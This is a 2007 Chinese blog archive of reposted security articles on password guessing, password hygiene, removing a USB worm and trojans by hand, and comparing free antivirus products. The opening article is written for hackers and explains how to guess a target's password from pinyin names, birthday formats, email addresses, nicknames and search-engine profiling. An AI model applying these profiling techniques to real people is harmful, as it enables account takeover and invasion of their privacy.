星期四, 十二月 06, 2007

浅谈密码心理学的分析思考

浅谈密码心理学的分析思考

文章来源:安全中国

黑客破解不可避免要破解密码,本文不从破解技术入手,而从黑客技巧入手分析密码心理学。本文完全不涉及到具体的技术,完全是心理学、信息学内容。本来也懒得写,因为这是一个很大的内容,自己想到只是一点而已,我的见解简直是井底蛙看到的天空。不过几个月前心血来潮写了提纲,也就对着提纲详细写下来,没有再花太多心思思考,见谅。

密码心理学就是从用户的心理入手,分析对方心理,从而更快的破解出密码。掌握好可以快速破解、缩短破解时间,获得用户信息,这里说的破解都只是在指黑客破解密码,而不是软件的注册破解。

分析一下,主要考虑下面的心理原则:

一、对中国人来说,一般都没有英文名的习惯,好像我就没有英文名,所以中文拼音很多人用来做密码,一般人去论坛什么对方注册一个用户名,由于一般简称很容易给人家抢了,所以一般也就是用全称。好像我的cyh是简称一般给人家注册了,caiyihao就很少人用。这里说的是名,如果是密码,一般要倒过来考虑,一般是先从简称再全称,理由很简单:短,输入时间快。

二、数字也是用得很多的,我想用得最多的密码是:123,123456(因为一般我们的习惯是六位数字,包括银行的存折都是六位,论坛一般最低要求六位,注意这点),试一下QQ的密码,其实不少人是这样的。特别是新手。一般人密码是三位或者是六位。下面一些也是常用的:1,11,111,123,168,1314,520(特殊意义的数字),……

三、生日用得特别多,有人把存折和身份证放一起丢了,给盗贼用他的生日拿到了钱。这个是由于人们怕忘记,而自己的生日是不会忘记的,所以就用了的原因。由于上面说到的六位,所以刚刚好可以这样790102,在用户看来刚好省事,不知道:最方便就是最危险。一般人用是这样的习惯:六位就是790102,四位是7912。如果那个月和日是只有一位的,也就是1~9,一般人就是用四位的,如:7632,而不是760302,如果日期是双位的,10~31,一般人也就是用到六位而不会是五位,如:760321而不是76321。如果月是双位,一般日就是双位的,如:761203,而一般不是76123。说得够罗索了吧,呵呵,总体来说也就是月和日都是同样位数的。因为这样比较美观。也有人不用日,只用到月,如:763,而对中国人来说7603用得少,因为看起来0是多余的。

四、我想:一个做暴力破解机软件的人,只要他思考过,而且技术上能达到的话,一般破解应该按照这个顺序来:数字→字母→特殊符号。对方用户名一般不用大写字,都是小写的多。例如我就是用cyh比CYH多,而且用caiyihao而从来不用CAIYIHAO。密码就要考虑大小写。理论上也应该按照先小写再大写来。因为用户输入大写字一般人不是按shift键而是按caps lock键,所以理论上来说一般是要大写所有字母几个都大写。

五、做一个黑客就是要从细微入手分析用户的信息。电子邮箱入手的话可以知道一些什么呢?例如:

caiyihao@163.com可以知道一些什么呢?可以看出来是对方是用拼音的用户名,所以对方应该姓蔡。

cyh790101@163.com还可以知道一些什么呢?对方生日:790101。当然也可以从主页看出来:例如:

www.caiyihao.com,很明显的。还可以由一个人昵称推知名或者姓,例如我的QQ昵称“浩”,很明显我的名有“浩”字,获得信息还有很多途径的,用得多是搜索引擎,建议最少用两个,搜可以用他的名搜,也可以用他的邮箱搜,也可以用他的文章搜等等。平时应该多一些常识,例如对方QQ上写了“广东dg”,结合地理就应该知道是“广东东莞”。至于由对方聊天内容看出对方男女性别、大概多大、是否还读书、是否独生子女、在家里兄弟姐妹中排老大还是最小,这些就不是本文所要涉及的。

总之:细心观察;设身处地,从对方入手;动脑筋,“书是死的,人是活的”。用方法,可以不用工具就可以破解掉一些密码了。无心思细想,所以才只想到这么几点。见谅。

补:一般人的密码不会超过3个的,即使他有过很多个,最后也会缩小到2、3个的。而且一般人的所有邮箱密码都基本一样的,论坛注册的密码也都一样的,所以破解了一个也就可以得到很多个地方的密码了。

安全最重要 管理好自己密码的10个技巧

  密码技术本身有着致命的缺陷,这话本身并没错。但对目前的大多数企业来说,它们却是最好的选择。其实,每个人都可以更有效的管理自己的密码。

  密码的安全一直以来都是一个难题,除非将来可以使用类似生物检查的技术来取代它——而这是目前工业技术正在努力的方向。在那一天到来之前,我们最好还是着手培养一个安 全文化,从而更有效的管理我们的密码。

  1. 一定不要把密码写在纸上

  如果有人对这一条感觉不可思议的话,那么只要我们还在谈论密码管理,我们就不得不把这一条作为首要点提出来。

  如果你已经告知职员们为什么不能这么做,但是职员依旧写下他们的密码,那么要么是你的系统太复杂,要么就是你对他们的要求太多了。公司必须在安全性和易用性之间保持一 个平衡,因为如果不理解后者,就会很容易破坏前者。

  所以必须确认雇员们是否已经接受了正确的密码安全教育,如果你需要修订你的密码政策,请参考下述措施。

  2. 必须设置密码

  你刚才看到第一条的时候,是不是觉得它太显而易见了?但是如果你看到很多系统只是采用了默认的自带密码,比如“password”或者“changeme”或者其他类似的单词,而并未 对密码进行修改或设置,你就不会对这一条觉得惊讶了。

  3. 尽可能的减少密码

  注意在密码数量与可管理性之间维持一个平衡。确认哪个网络系统软件需要最高的优先权。如果职员们必须记住10个密码,分别对应着从最绝密到最垃圾的数据,他们可能根本无法全部记住它们。

  谁又能保证他写下来又丢失了的那个密码不是最绝密的那个呢?

  4. 职员必须定期更改密码

  这一条限制了原先同事们之间互相了解的老密码的危害性。同时它也关闭了那些不慎落入不法之徒手中老密码的“机会之窗”。

  至于多久让雇员们更改一次密码,这取决于你如何在安全性和易用性之间保持平衡。如果雇员们被要求每周修改一次密码,他们很容易前后弄混,最后不得不用笔把密码写下来。 实际上修改密码的时间间隔——比如90天和30天的对比——证明越长期限的密码有效期,越能让人们记住复杂的密码,越能让人们更小心的照管密码。

  5. 新密码必须脱胎换骨

  更改密码时,切忌直接从老密码变换而来,尤其是那种只改变一个字母的做法。类似RandomW0RD1, RandomW0RD2, RandomW0RD3这样的密码更改,要被人猜出来简直是太容易了。

  6.不使用常见单词

  密码中不应当使用常见单词,从而可以避免被“辞典攻击”破解(所谓辞典攻击,就是使用软件自动从辞典中读取所有单词,并逐一测试该单词是否是正确的密码)。姓名、住址 或其他很容易联想到的单词也应当被禁止使用。很多雇员喜欢使用自己的姓名、合作者的姓名或者宠物的名字来做密码,这种情况需要引起足够的重视。

  7.密码要够长——但不要过长

  一个密码起码应当有8位,包含大小写字母和数字。如果密码的长度过长,职员们可能会懒得去记,从而使用一些重复性的字母,或者常见的字符串:比如“ABCDEFG123456789”这 种。

  其实,给出一个最低长度和一个合理的上限,反而有助于雇员们发挥创意。一个建议是使用短句要比使用单词效果好。比如'mYd0g1sCALLEDf1d0'就比"fido"难猜得多了。再重复一 遍,要建立更安全的密码,就不要忽略这一步。

  8. 自动强制更改密码

  应该自动的强制性要求职员更改和选择安全密码。不要指望职员们会记住他们上一次更改密码是什么时候,他们过去几年用了哪些密码,以及什么样的词汇不能用于密码之中。这 不是一个信任与否的问题。这是一个历史问题,它告诉我们政策从不依附于选择。

  9. 教育职员

  确保密码政策被写入雇佣合同,并确保所有的职员了解为何这是必要的。乐观的说,如果其他措施确实有效,可能最认真的人才能达到要求,不要互相透露密码,不要把密码写下 来。这些条款也将阻止服务之间的密码重复——特别是企业的内部与外部之间。一个公司的登陆可能比一份报纸的订阅登陆更机密,而后者可以与朋友或家人共享。

  10. 放眼未来

  最后,注意那些可能取代密码的长期解决方案——比如生物检查技术和双因素认证。密码是有缺陷的,而上述推荐的技巧只是设法让密码变得更安全——起码现在看起来更安全。

星期一, 十二月 03, 2007

教你打开隐藏文件的方法

教你打开隐藏文件的方法

  1、断开网络连接

  2、打开“任务管理器”,应该有个SVOHOST.EXE进程,把它结束掉。到C:\WINDOWS\system32里找到SVOHOST.EXE把它删除。(注:系统进程是 svchost.exe,第三个字母是c不是o)

  3、执行“开始”-“运行”-输入“regedit”打开注册表

  4、找到HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL中的CheckedValue,检查它的类型是否为REG_DWORD,如果不是则删掉CheckedValue,然后单击右键“新建”--〉“Dword值”,并命名为CheckedValue,然后修改它的键值为1。(不做这一步,第6、7步将无法查看到隐藏的系统文件)

  5、打开各硬盘(“我的电脑”里右键“打开”或“资源管理器”右侧选择)。

  6、“文件夹选项”-“查看”-选择“显示所有文件和文件夹”,并把“隐藏受保护的系统文件”复选框去除选择。

  7、可以看到各个硬盘根目录下都有autorun.inf和sxs.exe文件,把它们都删掉。如果U盘上也有,也删掉。U盘上的可能删了又会出现,那就再检查一下“任务管理器”里有没有SOVHOST.EXE进程,把它结束掉。

  8、这样就该差不多了。

  9、如果安装的是瑞星,防火墙和杀毒软件应该可以打开了,其他杀毒软件应该也可以打开了。

  10、如果瑞星计算机监控无法打开,或者打开后是收着的小红伞,并且所有的监控开启都失败,那么到“控制面板”-“管理工具”-“服务”,找到“Rising ProCESs Communication Center”,应该是被禁用了,右键“属性”,启动类型一项改为“自动”,然后启用该服务。

  11、至此,计算机恢复正常。

教你病毒,木马入侵后的人工查杀的主要步骤

1.进入安全模式

在计算机启动时,按F8键,会出现系统启动菜单,从中可选择进入安全模式。

2.将计算机与网络断开,防止黑客通过网络继续对你进行攻击。

3.显示所有文件和文件夹(包括隐含文件和系统保护文件)

4.禁用系统还原

右键“我的电脑”→系统属性→“在所有驱动器上关闭系统还原”前打上勾→应用(释放硬盘空间、该空间有可能受到病毒攻击)

5.删除病毒/木马程序的自启动项

打开注册表编辑器:开始→运行→输入:regedit→确定

查找自启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\文件夹下的三个子件夹

Run

RunOnce

Runservices

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\文件夹下的三个子件夹:

Run

RunOnce

打开系统配置实用程序:开始→运行→输入:msconfig→确定

(如果Windows2000无此文件,可运行共享文件夹中的msconfig.exe)

检查:win.ini、system.ini启动配置文件中的加载项

win.ini的[windows]字段中

run=

load=

一般情况下“=”后面是空白的,如果有后跟程序,如:

run=c:\windows\file.exe

load=c:\windows\file.exe

其中的file.exe很可能是病毒

system.ini的[boot]字段中

shell= explorer.exe file.exe

一般情况下“explorer.exe”后面是空白的,如果有后跟程序,如:

shell= explorer.exe file.exe

其中的file.exe很可能是病毒

system.ini的[386Enh]、[mic]、[drivers]、[drivers32]字段中

driver=“路径\程序名”

检查其它启动配置文件、初始化文件、系统配置文件中的加载项:

winint.ini:多用于安装

winstart.bat:由应用程序、Windows自动生成、Win.com加截多数驱动程序后产生,与Autoexec.bat功能相同。

autoexec.bat(一般为隐含属性,掌握对隐含属性文件的搜索)

config.sys(同上)

检查启动组:开始→程序→启动,其中的启动项内容。

对应注册表中的位置:

HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Explorer\shell Folders Startup

人工查杀步骤:先杀进程、再删除病毒文件、最后修复注册表。

注册表或进程表中发现了病毒,先在进程表中杀进程

打开任务管理器,找到病毒程序的进程,终止运行。

如果不能终止,可运行其它监视进程的工具软件进行终止。

如果仍然不能终止只能重启后进入安全模式,并断开与网络的连接。

在DOS窗口中删除病毒文件,也可在资源管理器中删除,但病毒可能会自行恢复。

重启后回到注册表搜索、删除全部病毒的残余信息,尤其是启动项中的信息。

星期二, 十一月 27, 2007

和病毒再见 六款免费杀毒软件对比测试

作者: 江阳(原创)

  杀毒软件,是我们上网时保证网络安全必不可少的工具,不久前,全球最大搜索引擎Google(谷歌)对450万个网页作过一次抽样调查,发现在浏览其中大约10%的网页时会自动下载恶意程序代码。这意味着平均每浏览十个网页,就有一个可能隐藏电脑病毒或木马,并对用户的电脑系统造成破坏。以往,用户想要防御这些恶意网页程序,通常会掏钱购买专门的杀毒软件或安全保护软件。其实,在什么都流行“免费”的今天,市面上还有不花钱的杀毒软件和安全保护软件可供选择。下面笔者就为大家作一详细介绍。

  一、使用互联网的安全危机

  随着网络活动的盛行,制造出更多的机会让不法分子利用各种漏洞进行入侵。根据Google的调查显示,不法分子主要通过网页服务器的安全漏洞(例如论坛的设计漏洞),在网页中插入非法指令码(如在网页上插入特殊的JavaScript脚本程序)、网页广告、第三方提供的插件程序等,以控制浏览者端显示的网页内容。同时通过操作系统和浏览器的漏洞,或诱导用户安装有问题的浏览器插件程序,将病毒或者有问题的程序植入用户的系统中。

  实际上,除了网站设计方面的问题外,用户使用电脑的态度和习惯,也使得电脑系统安全备受关注。一般家庭通常都是多人共用一部电脑,一旦电脑因为其中一名用户使用不当而使系统出现安全危机,便会影响同机的所有用户,因此电脑安全随着网络应用的频繁而更显重要。

  二、付费杀毒软件的发展趋势

  早期的杀毒软件只是用来保护电脑内的操作系统和重要文件免受病毒程序的修改破坏,不过随着电脑的用途日益广泛,电脑用户对杀毒软件的要求也在不断改变。因为互联网的普及使得信息交流更加容易,与之相应,病毒和木马程序也传播得更快。特别是Web 2.0为互联网带来更多不同的应用,也使浏览器从单纯的一个网页浏览程序,变成一个全方位的服务工作平台,更需要额外的保护。

  有鉴于此,付费版商业杀毒软件的设计紧密跟随互联网的发展。近年来软件

开发商除了推出单纯为扫描和删除病毒而设计的杀毒软件(Anti-virus)外,还推出针对网络安全的互联网安全软件(Internet Security),此类软件通常包含厂商自己开发的杀毒程序。如近期推出的Norton 360已经将杀毒、防间谍程序、防钓鱼、个人资料保护、防火墙、系统备份等功能集于一身,并简化各项功能的设置操作方式,将各项功能的使用状态集中显示在一个界面中,方便普通用户使用。不过,商业杀毒软件需要付费才能享受,有点让人遗憾。

  三、免费杀毒软件的特点

  由于现在杀毒软件产品越来越多,各款软件之间的差异在逐渐缩小,因此设计厂商的推销重点也从软件功能,逐渐转变为用户界面设计、售后服务支持等其他方面。而单就程序的功能而言,免费杀毒软件与付费杀毒软件的差别不算明显,免费版杀毒软件亦因此变得有可取之处。

  当然,除了使用成本上的不同外,免费杀毒软件与付费软件在以下方面还是有差别的:

  1.捆绑安装:部分免费杀毒软件如Norton Security Scan属于Google Pack综合软件包中的附属软件之一,安装时会同时安装多个功能不同的软件如Picasa2、Spyware Doctor、Google Desktop等,对于用户来说未必全都有用。

  2.使用限期:现在大部分免费的杀毒软件均没有使用期限,只有Windows Vista版的CA Anti-Virus和McAfee VirusScan Plus有1年的使用时间限制。部分免费杀毒软件如Avira AntiVir则需要定期升级授权文件,升级后可继续免费使用。

  3.功能简单:免费杀毒软件与需要付费版最大的区别,是免费版功能较为简单,部分软件例如BitDefender免费版、ClamWin Antivirus、Norton Security Scan等通常只设有“On-Demand”(手工扫描),而不设“On-Access”(存取自动扫描)功能,在保护程度方面不如付费软件。而付费软件常见的功能,例如网络监控(Network Monitor)、程序监控(Process Monitor)等,也是大部分免费版杀毒软件所欠缺的。

  4.工作模式不同:传统杀毒软件的工作模式是,将被检文件资料比对软件内置的病毒库,以检测出内藏的病毒。新一代杀毒软件则通过监视系统的特殊行为,甚至以沙盒(Sandbox)机制测试运行的程序内是否有病毒。而部分免费版杀毒软件属于商业版杀毒软件的简化版本,检测病毒的工作模式可能与付费版本有区别。

  5.技术支持:部分杀毒软件的免费版与付费版是以厂商提供的技术支持不同进行区分的。付费版大多有完善的电话或网上支持服务体系;免费版的用户则通常只能通过软件讨论区或网上表格获得技术支持。特别是新一代Windows Vista操作系统上市后,付费版杀毒软件的用户可在对应Vista的版本推出时获得升级,而免费版的用户则通常需等待供Vista专用的免费版杀毒软件的推出。此外,虽然在病毒库和升级的速度上,免费版与付费版差异不大,但免费杀毒软件(例如Norton Security Scan)可能要求用户自己手工下载升级。

四、免费软件杀毒能力是否比较差?

  选择杀毒软件时,软件对各种病毒和威胁的检测成功率肯定是消费者的一个重要考虑因素。付费版的商业杀毒软件经常以获得国际杀毒测试的奖项作为推销的卖点。那么,免费杀毒软件在这方面是否一定比付费软件差呢?

  其实,新病毒和威胁在不断出现,因此针对杀毒软件的测试很难订立一套不变的标准。目前,大部分杀毒组织机构均以一套名为“WildList”的病毒列表作为病毒样本进行测试。“WildList”由“The WildList Organization International”于每月15日发布,列举当时最具威胁性的病毒。四个大型杀毒软件测试组织ICSA Labs、West Coast Labs、Virus Bulletin及AV-comparatives.org均定期以“WildList”的病毒样本对杀毒软件进行测试,并公布各款杀毒软件的测试结果,各组织的测试结果可于下列网站下载或浏览。

  ICSA Labs Anti-Virus Testing Reports:http://www.icsalabs.com/icsa/top ... 5ddc6$0c33-f07e1167

  West Coast Labs-The Checkmark System:

http://www.westcoastlabs.org/checkmarkinfo.asp

  Virus Bulletin-VB100 award:

http://www.virusbtn.virusbtn.com/vb100/index

  AV-comparatives.org:

  http:www.av-comparatives.org/

  除了杀毒引擎会影响杀毒的准确性外,杀毒软件本身在功能上的差别,甚至是软件的应用层面也或多或少影响软件的病毒扫描能力。部分免费杀毒软件只具备手工扫描功能,遇到病毒入侵时只能靠用户手工检测和删除,自然会影响使用时的杀毒效果;即使杀毒软件具备存取保护功能,也不一定设计得十分周全(如IM保护或网络检测等功能),考虑到用户的各种使用情况,因此检测到病毒的机会亦相对降低,此外,免费的杀毒软件未必包含防黑客或防广告功能。不过,如果单单就病毒扫描能力而言,免费版比付费版差这一点是不成立的。

  五、六款著名免费杀毒软件简介

  (一)McAfee Virus-Scan Plus FREE(图1)

图 1

  McAfee公司与个人银行NatWest合作,提供McAfee VirusScan Plus商业杀毒软件的免费版本,即使不是该银行的客户也可下载使用。软件由商业版本简化而成,故界面和功能均具备商业版本的特色,只是部分功能被删除,包括:Parental Controls及Spam Protection,它也是本文中唯一一套具备Firewall(防火墙)及PC Health(系统监测)功能的软件。

软件名称McAfee Virus-Scan Plus FREE

文件大小24.22MB

运行环境Win2000/XP/Vista

下载网址http://down1.tech.sina.com.cn/download/downContent/2004-03-16/8032.shtml

  (二)avast!4 Home Edition(图2)

图 2

  杀毒软件的操作界面一向给人比较呆板的感觉,现在avast!突破了这个传统。它的操作界面与影音播放软件相似,力求让普通用户更易上手。如果需要高级设置,用户也可手工打开详细设置界面。华丽的界面背后隐藏着全面的安全保护功能,分别针对网页、网络、IM、P2P、电子邮件等,功能媲美商业软件。

软件名称Avast!4 Home Edition

文件大小15.76MB

运行环境Win9x/Me/2000/XP

下载网址http://down1.tech.sina.com.cn/download/downContent/2006-02-10/17092.shtml

(三)AVG Anti-Virus Free(图3)

图 3

  AVG曾是多个国际专业下载网站中最受欢迎的杀毒软件,在今年年初时它停止对7.1版的支持,但随即发布新的7.5版免费版本。AVG既有免费的杀毒软件,也有免费的AVG Anti-Spyware Free及AVG Anti-Rootkit Free,在众多免费杀毒软件厂商中,它提供的免费服务方案最多。

软件名称 AVG Anti-Virus Free

文件大小27465 KB

运行环境Win9x/NT/2000/XP/2003/Vista

下载网址http://down1.tech.sina.com.cn/download/downContent/2004-03-16/5083.shtml

  (四)Avira AntiVir PersonalEdition Classic(图 4)

图 4

  很多人都知道,“小绿伞”是Kaspersky(卡巴斯基)的图标,小红伞则是Avira AntiVir PersonalEdition Classic。Avira是德国的杀毒软件,界面和功能均有务实简单的德国风格,一站式界面控制所有选项,可有效清除病毒、木马和RootKits。

软件名称Avira AntiVir PersonalEdition Classic

文件大小17MB

运行环境Windows 2000/XP/Vista

下载网址http://down1.tech.sina.com.cn/download/downContent/2004-03-22/9406.shtml

  (五)BitDefender 10 Free Edition(图5)

图 5

  众多的杀毒软件中,BitDefender也提供免费版本作为市场推广。而付费版BitDefender现已发展至10.0版本。两者最大的差别在于免费版本仅提供On-Demand功能,而新版本已发展至提供On-Access功能。

软件名称 BitDefender 10 Free Edition

文件大小21.08MB

运行环境Windows 98/NT-SP6/Me/2000/XP

下载网址http://down1.tech.sina.com.cn/download/down_contents/1198339200/37575.shtml

  (六)Active Virus Shield AOL(图6)

图 6

  AOL(美国在线)与卡巴斯基公司于2006年合作推出免费杀毒软件Active Virus Shield。它以Kaspersky 6.0个人版杀毒软件版本为基础,由于是免费版本,功能方面删除了“Proactive protection”及“System restore”功能。不过,即使用户并非美国AOL客户,也可申请使用。

软件名称 Active Virus Shield AOL

文件大小14281KB

运行环境Win9x/Me/NT/2000/XP/2003

下载网址http://down1.tech.sina.com.cn/download/down_contents/1157212800/29303.shtml

六、六款免费杀毒软件对比测试

  为了让大家更深入地了解六款免费杀毒软件的功能特点,笔者专门进行了一番对比测试。由于部分免费杀毒软件仍不支持Vista,故笔者以下所作的测试集中在Windows XP操作系统平台上运行,至于对Vista的支持,大家可以参考文章后面部分的功能比较表。

  (一)拦截MSN传输病毒

  MSN是最热门的聊天软件之一,而它的文件传送功能也是散播病毒的主要途径。测试的方法是,由一方的联系人传送病毒文件至另一方,检测免费杀毒软件是否成功拦截病毒。

  1.Active Virus Shield AOL:失败

  2.avast!4 Home Edition:成功

  3.AVG Anti-Virus Free:失败

  4.Avira AntiVir PersonalEdition Classic:失败

  5.BitDefender 10 Free Edition:失败

  6.McAfee Virus-Scan Plus FREE:成功

  (二)扫描可移动磁盘

  谈到文件交换,另一种常用的方法是经由可移动磁盘(如:U盘、闪存卡等)存储文件,达到交换文件的目的,笔者将含有病毒文件的U盘与电脑连接,测试杀毒软件能否扫描可移动磁盘。

  1.Active Virus Shield AOL:成功

  2.avast!4 Home Edition:成功

  3.AVG Anti-Virus Free:成功

  4.Avira AntiVir PersonalEdition Classic:成功

  5.BitDefender 10 Free Edition:失败,选择该功能后,只能显示勾选光驱盘符,而不能连接U盘。

  6.McAfee Virus-Scan Plus FREE:成功

  (三)扫描指定文件类型

  病毒文件常通过指定的文件类型传播,此项目检测六款免费杀毒软件是否能够检测指定的文件类型,因为此操作将有效减少扫描病毒的时间。

  1.Active Virus Shield AOL:不能扫描指定文件类型,但可指定文件大小和时间。

  2.avast!4 Home Edition:可指定扫描文件类型,但需手工输入。

  3.AVG Anti-Virus Free:不支持此功能

  4.Avira AntiVir PersonalEdition Classic:不支持此功能

  5.BitDefender 10 Free Edition:可指定扫描文件类型,但需手工输入。

  6.McAfee Virus-Scan Plus FREE:支持指定扫描部分文件类型。

  (四)文件扫描速度

  如果遇到电脑中毒,用户的心态是希望尽快检测系统并清除病毒。本测试项目选择某个磁盘分区进行全面扫描,计算免费杀毒软件在30秒内扫描的文件数量。

  1.Active Virus Shield AOL:扫描1398个文件。

  2.avast!4 Home Edition:扫描2686个文件。

  3.AVG Anti-Virus Free:扫描364个对象(objects)。

  4.Avira AntiVir PersonalEdition Classic:扫描2842个文件。

  5.BitDefender 10 Free Edition:扫描2449个文件。

  6.McAfee Virus-Scan Plus FREE:扫描643个项目(Items)。

  (五)六款免费杀毒软件功能及性能对比

  表1:《六款免费杀毒软件功能及性能对比一览表》。

六款免费杀毒软件功能及性能对比一览表

七、免费网络安全保护软件补充推荐

  用户如果想确保系统在网络上不受恶意程序所影响,杀毒软件的保护固然不可少,但其他方面的保护,例如防黑客、防垃圾邮件、防虚假网站、防火墙功能等亦非常重要。下面笔者另外推荐几种免费的网络安全保护软件,只要大家将免费杀毒软件与免费网络安全软件结合使用,就能确保爱机的安全。

  (一)免费防火墙(Firewall)

  Windows XP和Vista操作系统均内置防火墙功能,但其功能比较简单。如果用户希望另外安装一个防火墙软件,可以选择免费的PC Tools Firewall Plus(图7),此软件可以限制应用程序进行连接,或者对连接类型、本地/远程网址或网络信息的流向设置进行控制。

图 7

软件名称 PC Tools Firewall Plus

文件大小4.57MB

运行环境Windows 2000/XP/2003/Vista

下载网址http://down1.tech.sina.com.cn/do ... 8339200/37577.shtml

  (二)防黑客/间谍程序(Anti-Spyware/Anti-Rootkit)

  AVG公司除推出免费版的杀毒软件AVG Anti-Virus外,还推出了间谍软件检测程序AVG Anti-Rootkit(图8),只需轻轻一点即可自动检查系统内是否隐藏间谍程序。至于防黑客功能,则可以借助CyberDefenderFREE 2.0 [点击下载] 软件内置的“earlySPY”功能清除(图8)。

图 8

软件名称 AVG Anti-Rootkit

文件大小413KB

运行环境Windows 2000/XP

下载网址http://down1.tech.sina.com.cn/do ... 8339200/37574.shtml

  (三)防虚假网站

  免费的CyberDefender除了可搜索系统内的黑客软件外,还设有“earlySCAM”功能以实时方式监测浏览器输入的网址(图9),防止用户误访假冒的网页。除此之外,用户可以为浏览器安装虚假网站检测程序,例如McAfee SiteAdvisor(图10),确保即使遇到虚假网站也能第一时间知悉。

图 9

图 10

软件名称 McAfee SiteAdvisor

文件大小1.66MB

运行环境Windows 98/XP

下载网址http://php.tech.sina.com.cn/down ... ?f_name=SiteAdvisor

(四)家长管理(Parental Control)

  家长管理功能是网络安全软件的一项重要功能,用户可以下载Crawler Parental Control免费为系统增加家长控制功能(图11)。Crawler Parental Control支持多个用户帐户,并且可以为每个用户设置网站内容封锁、网站封锁、上网时间限制、使用电脑时间限制,限制程序运行等,其功能甚至比某些付费软件更为全面,能够为用户带来全方位的保护。

图 11

软件名称Crawler Parental Control

文件大小2.2MB

运行环境Windows 98/2000/XP

下载网址http://down1.tech.sina.com.cn/download/down_contents/1198339200/37576.shtml

  (五)防垃圾邮件(Anti-Spam)

  针对垃圾邮件,用户除了可以使用CyberDefender内置的“earlySPAM”邮件阻拦功能外,可以使用同样免费、功能更强,并且支持POP3/SMTP邮件检测的垃圾邮件检测软件SpamPal(图12),用户只需在软件的“选项”中设置黑名单,无论使用任何一种电子邮件程序下载邮件,均会自动过滤垃圾邮件。

图 12

软件名称SpamPal

文件大小788KB

运行环境Windows 98/Me/NT/XP

下载网址http://down1.tech.sina.com.cn/download/downContent/2004-03-16/6163.shtml

  八、结束语

  综上所述,在本文介绍的六款免费杀毒软件中,有三款与付费版本使用相同的杀毒引擎,功能方面并不输给付费软件。此外,部分免费软件还提供了IM程序保护、SiteAdvisor等增值功能,效果比较令人满意。因此笔者认为免费杀毒软件的确有存在的价值和优点。

  不过相比起付费的商业杀毒软件,免费软件必须进行繁琐的手工设置,所花的调整设置时间也较多。这点可能会令人感到不便,此外,部分免费杀毒软件内嵌广告,有违背杀毒程序的原意。因此各位用不用免费杀毒软件,不妨自己作出决定吧!

防御体系“三维化”金山毒霸2008公测版试用

  在金山公司成功上市香港及金山毒霸成为国内唯一的一款通过国际权威评测VB100%测试的杀毒软件之后,金山毒霸又在十大民间反病毒专业论坛间展开大规模的“金山毒霸 2008公测版”公测,于是以“病毒库+主动防御+互联网可信认证技术”三维防御体系为代表的金山毒霸2008版本倍受关注也就在情理之中了。那么金山毒霸2008究竟会带给我们哪些惊喜呢?下面就随笔者来一一进行解读。点击下载金山毒霸2008公测版

  亮点1:组件整合 界面精美

  安装好金山毒霸2008后,会发现它由金山毒霸2008、金山网镖2008和金山清理专家2.1三个组件构成,并且每一个组件都有其独立的桌面图标,这与上一个四组件及统一桌面快捷方式的2007版本不同。乍一看金山毒霸少了一个组件,但其实是功能整合的结果。

  打开金山毒霸2008主界面,其豪华程度的确令人惊叹。杀毒软件中的按钮及标签页均采用了光影特效,并且界面文字中所采用的全新雅黑字体效果也非常出色,软件中各功能按钮的优化减少和界面右侧主功能模块减少的“闪电杀毒”面板,让整个主界面看上去整洁、舒适和大气。

图1 主界面

  亮点2:抢杀技术 不留死角

  金山毒霸2008新推出的这项抢杀技术内部代号为“bootclean”,这是一种非常强悍的杀毒技术,也可以将其理解为“顽固病毒清除技术”。大家知道金山毒霸一直都是在系统完全启动之前就先行将监控系统加载,使其进入工作状态,这样监控系统一旦发现有病毒或木马程序随系统启动而自动加载,金山毒霸2008就会立即将其“抢杀”。另外对于极少数启用复合自我加载的顽固病毒,金山毒霸2008也会自动记录病毒相应特征,这样在系统重新启动时,金山毒霸2008也会先行将病毒清除。

  小提示:抢杀技术不仅可以针对病毒和木马,而且还可以对付各种流氓程序和恶意软件。

  亮点3:清理专家 消除隐患

  网络安全历来都应该是“杀防并举”的,防御更重于杀毒。所以金山毒霸2008集成的“全新清理专家2.1”,其地位就更显得举足轻重了。

  金山清理专家2.1分别提供了包括健康状态、恶意软件查杀、漏洞自动修补、系统修复、网页防挂马、安全百宝箱和病毒木马查杀等在内的多项安全防御模块,其中每一个安全防御模块都对应一个可能存在安全隐患的环节并有针对性的给出全面解决方案(如图2)。

图2 安全分析

在软件的“健康状态”模块,软件提供了一个十分新颖的“给系统打分”的功能,据称软件可以自动按照用户系统中可能存在的恶意软件、系统漏洞、病毒、可疑文件、未知文件、启动项过多、BHO、系统盘空间和杀毒软件安装情况等智能给系统的安全状况评分,于是笔者也试了一把:在单击了“给系统打分”按钮之后的不到一分钟之内,软件就指出笔者系统中存在系统崩溃、数据损坏、重要信息泄漏等隐患,而只给了11.57的“红色警报”分数,真是触目惊心啊(如图3)。

图3 危险信号

  亮点4:恶意行为 智能拦截

  笔者觉得,这实际上就是金山毒霸对原有基于行为分析智能判别未知病毒功能的一次大升级。金山毒霸2008提供的“恶意行为智能拦截技术”是杀毒软件主动防御功能的一个重要组成部分,它可以智能通过对当前运行进程的行为分析,如是否存在释放出病毒、插入正常程序的空间、修改关键的系统配置信息等“恶意行为”,来自动选择是否对这个进程进行拦截(如图4)。

图4 恶意行为拦截流程图

  事实上,恶意行为智能拦截技术可以及时发现威胁,并结合联机安全评估系统和系统增强安全计划,反查有恶意行为的危险程序,将这些根据病毒特征库,尚不能判定为病毒的危险程序直接清除或隔离。

  亮点5:蜘蛛布网 全民防毒

  这是金山毒霸最具特色的病毒防御理念之一,在金山毒霸2008中,软件提出了一个叫做“系统安全增强计划”的新举措,什么意思呢?这个“系统安全增强计划”是金山毒霸网络蜘蛛计划的一部分,以该安全计划为平台,用户在金山毒霸2008中扫描到的所有未知文件或者说未知病毒,都可以直接在金山毒霸2008中进行未知文件的联机提交,而金山毒霸的众多安全专家会对用户提交的未知文件进行分析,从而以最迅捷的速度发现和响应新病毒。据称未来还将使用成熟的网络蜘蛛技术,当一个危险程序在网上出现,在它还没有大面积扩散时,“网络蜘蛛”将在第一时间作出响应。

